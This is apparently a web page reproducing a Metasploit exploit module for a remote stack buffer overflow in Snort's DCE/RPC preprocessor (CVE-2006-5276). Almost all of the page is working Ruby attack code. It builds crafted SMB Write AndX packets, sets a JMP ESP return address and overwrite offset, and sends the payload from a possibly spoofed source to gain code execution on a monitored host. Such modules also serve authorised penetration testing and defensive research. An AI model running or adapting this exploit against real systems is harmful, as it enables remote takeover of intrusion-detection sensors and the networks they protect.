Remote Processor Buffer Overflow: Snort 2.6.1, 2.7 Beta 1, SourceFire IDS 4.1, 4.5 and 4.6.

As of 04/09/2012 there is a remote processor buffer overflow alert/concept for the following software:

Snort: 2.6.1, 2.7 Beta 1
SourceFire IDS: 4.1, 4.5 and 4.6

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote     Rank = GoodRanking       include Msf::Exploit::Capture     include Msf::Exploit::Remote::Tcp       def initialize(info = {})         super(update_info(info,             'Name'            => 'Snort 2 DCE/RPC preprocessor Buffer Overflow',
            'Description'     => %q{
                    This module allows remote attackers to execute arbitrary code by exploiting the
                Snort service via crafted SMB traffic. The vulnerability is due to a boundary
                error within the DCE/RPC preprocessor when reassembling SMB Write AndX requests,
                which may result a stack-based buffer overflow with a specially crafted packet
                sent on a network that is monitored by Snort.

                Vulnerable versions include Snort 2.6.1, 2.7 Beta 1 and SourceFire IDS 4.1, 4.5 and 4.6.

                Any host on the Snort network may be used as the remote host. The remote host does not
                need to be running the SMB service for the exploit to be successful.
            },
            'Author'          =>
                [
                    'Neel Mehta', #Original discovery (IBM X-Force)
                    'Carsten Maartmann-Moe '  #Metasploit
                ],
            'License'         => MSF_LICENSE,
            'Platform'        => 'win',
            'References'      =>
                [
                    [ 'OSVDB', '67988' ],
                    [ 'CVE', '2006-5276' ],
                    [ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/22616-linux.py']
                ],
            'DefaultOptions'  =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload'         =>
                {
                    'Space'         => 390,
                    'BadChars'      => "\x00",
                    'DisableNops'   => true,
                },
            'Targets'         =>
                [
                    [
                        'Windows Universal',
                        {
                            'Ret'    => 0x00407c01,  # JMP ESP snort.exe
                            'Offset' => 289          # The number of bytes before overwrite
                        }
                    ],
                ],
            'Privileged'      => true,
            'DisclosureDate'  => 'Feb 19 2007',
            'DefaultTarget'   => 0))

        register_options(
            [
                Opt::RPORT(139),
                OptAddress.new('RHOST', [ true,  'A host on the Snort-monitored network' ]),
                OptAddress.new('SHOST', [ false, 'The (potentially spoofed) source address'])
            ], self.class)

        deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT')
    end

    def exploit
        open_pcap

        shost = datastore['SHOST'] || Rex::Socket.source_address(rhost)

        p = buildpacket(shost, rhost, rport.to_i)

        print_status("Sending crafted SMB packet from #{shost} to #{rhost}:#{rport}...")

        capture_sendto(p, rhost)

        handler
    end

    def buildpacket(shost, rhost, rport)
        p = PacketFu::TCPPacket.new
        p.ip_saddr = shost
        p.ip_daddr = rhost
        p.tcp_dport = rport
        p.tcp_flags.psh = 1
        p.tcp_flags.ack = 1

        # SMB packet borrowed from http://exploit-db.com/exploits/3362

        # NetBIOS Session Service, value is the number of bytes in the TCP segment,
        # must be greater than the total size of the payload. Statically set.
        header = "\x00\x00\xde\xad"

        # SMB Header
        header << "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
        header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
        header << "\x00\x08\x30\x00"

        # Tree Connect AndX Request
        header << "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
        header << "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
        header << "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
        header << "\x3f\x3f\x3f\x3f\x3f\x00"

        # NT Create AndX Request
        header << "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
        header << "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        header << "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
        header << "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
        header << "\x63\x00\x00\x00"

        # Write AndX Request #1
        header << "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
        header << "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"
        header << "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"
        header << "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
        header << "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
        header << "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
        header << "\x2b\x10\x48\x60\x02\x00\x00\x00"

        # Write AndX Request #2
        header << "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
        header << "\x00\x48\x00\x00\x00\xff\x01"

        tail = "\x00\x00\x00\x00\x49\x00\xee"

        # Return address
        eip =  [target['Ret']].pack('V')

        # Sploit
        sploit = make_nops(10)
        sploit << payload.encoded

        # Padding (to pass size check)
        sploit << make_nops(1)

        # The size to be included in Write AndX Request #2, including sploit payload
        requestsize = [(sploit.size() + target['Offset'])].pack('v')

        # Assemble the parts into one package
        p.payload = header << requestsize << tail << eip << sploit
        p.recalc

        p
    end
end